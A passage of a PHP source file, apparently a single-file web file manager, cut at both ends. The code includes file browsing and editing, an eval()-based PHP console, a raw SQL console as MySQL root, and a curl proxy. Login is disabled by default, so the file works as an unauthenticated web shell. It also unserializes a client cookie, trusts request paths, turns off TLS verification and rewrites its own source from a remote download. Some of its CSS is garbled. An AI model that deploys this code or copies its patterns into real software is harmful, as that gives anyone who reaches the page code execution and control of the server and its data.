$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
